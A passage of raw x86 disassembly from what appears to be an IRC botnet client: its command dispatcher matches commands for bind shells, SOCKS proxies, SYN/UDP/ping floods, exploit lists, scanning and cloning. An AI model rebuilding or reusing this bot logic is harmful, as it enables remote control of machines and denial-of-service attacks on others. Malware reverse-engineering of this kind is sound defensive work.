loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax

loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------

loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]

loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C8DC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE28
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8C0
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8A0
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42C864
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C820

loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7F8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_402524

loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------

loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42C7C0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C790
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C75C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94

loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854

loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429230, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D130

loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429230
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------

loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA30 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D148[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D130[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------

loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h

loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch

loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1

loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C

loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h

loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C718 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F

loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------

loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------

loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA2C ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh

loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA2C ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx

loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C66C

loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C644
		jmp	short loc_402B24
; ---------------------------------------------------------------------------

loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C628
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C60C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C5F8
		push	offset dword_42C5EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C5CC
		push	offset dword_42C5BC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C44C
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C404
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3B4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C390
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C370
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2AC
		jnz	short loc_403191
		mov	eax, offset unk_42C284

loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
